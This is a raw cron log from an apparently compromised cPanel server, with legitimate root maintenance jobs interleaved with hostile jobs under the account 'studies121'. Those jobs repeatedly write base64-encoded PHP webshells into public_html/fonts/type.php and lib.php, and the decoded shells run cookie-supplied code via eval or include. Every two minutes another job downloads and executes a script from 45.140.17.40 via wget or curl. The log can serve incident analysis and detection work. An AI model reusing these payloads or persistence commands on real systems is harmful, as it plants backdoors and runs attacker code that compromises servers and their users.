Sep 10 03:33:02 ip-184-168-122-23 CROND[25131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:34:01 ip-184-168-122-23 CROND[25221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:34:01 ip-184-168-122-23 CROND[25220]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:34:01 ip-184-168-122-23 CROND[25224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:34:01 ip-184-168-122-23 CROND[25225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:34:01 ip-184-168-122-23 CROND[25226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:35:01 ip-184-168-122-23 CROND[25356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:35:01 ip-184-168-122-23 CROND[25359]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 03:35:01 ip-184-168-122-23 CROND[25358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:35:01 ip-184-168-122-23 CROND[25361]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:35:01 ip-184-168-122-23 CROND[25363]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 03:35:01 ip-184-168-122-23 CROND[25364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:35:01 ip-184-168-122-23 CROND[25367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:35:01 ip-184-168-122-23 CROND[25365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:36:01 ip-184-168-122-23 CROND[25555]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:36:01 ip-184-168-122-23 CROND[25556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:36:01 ip-184-168-122-23 CROND[25559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:36:01 ip-184-168-122-23 CROND[25560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:36:01 ip-184-168-122-23 CROND[25561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:37:01 ip-184-168-122-23 CROND[25641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:37:01 ip-184-168-122-23 CROND[25642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:37:01 ip-184-168-122-23 CROND[25644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:37:01 ip-184-168-122-23 CROND[25643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:38:01 ip-184-168-122-23 CROND[25769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:38:01 ip-184-168-122-23 CROND[25770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:38:01 ip-184-168-122-23 CROND[25772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:38:01 ip-184-168-122-23 CROND[25775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:38:01 ip-184-168-122-23 CROND[25773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:39:01 ip-184-168-122-23 CROND[25896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:39:01 ip-184-168-122-23 CROND[25897]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 03:39:01 ip-184-168-122-23 CROND[25899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:39:01 ip-184-168-122-23 CROND[25898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:39:01 ip-184-168-122-23 CROND[25901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:40:01 ip-184-168-122-23 CROND[26018]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 03:40:01 ip-184-168-122-23 CROND[26024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:40:01 ip-184-168-122-23 CROND[26026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:40:01 ip-184-168-122-23 CROND[26028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:40:01 ip-184-168-122-23 CROND[26030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:40:01 ip-184-168-122-23 CROND[26029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:40:01 ip-184-168-122-23 CROND[26031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:40:01 ip-184-168-122-23 CROND[26032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:41:01 ip-184-168-122-23 CROND[26225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:41:01 ip-184-168-122-23 CROND[26226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:41:01 ip-184-168-122-23 CROND[26227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:41:01 ip-184-168-122-23 CROND[26228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:42:01 ip-184-168-122-23 CROND[26360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:42:01 ip-184-168-122-23 CROND[26362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:42:01 ip-184-168-122-23 CROND[26364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:42:01 ip-184-168-122-23 CROND[26365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:42:01 ip-184-168-122-23 CROND[26366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:43:01 ip-184-168-122-23 CROND[26480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:43:01 ip-184-168-122-23 CROND[26478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:43:01 ip-184-168-122-23 CROND[26479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:43:01 ip-184-168-122-23 CROND[26481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:44:01 ip-184-168-122-23 CROND[26596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:44:01 ip-184-168-122-23 CROND[26598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:44:01 ip-184-168-122-23 CROND[26600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:44:01 ip-184-168-122-23 CROND[26599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:44:01 ip-184-168-122-23 CROND[26604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:45:01 ip-184-168-122-23 CROND[26709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:45:01 ip-184-168-122-23 CROND[26710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:45:01 ip-184-168-122-23 CROND[26714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:45:01 ip-184-168-122-23 CROND[26713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
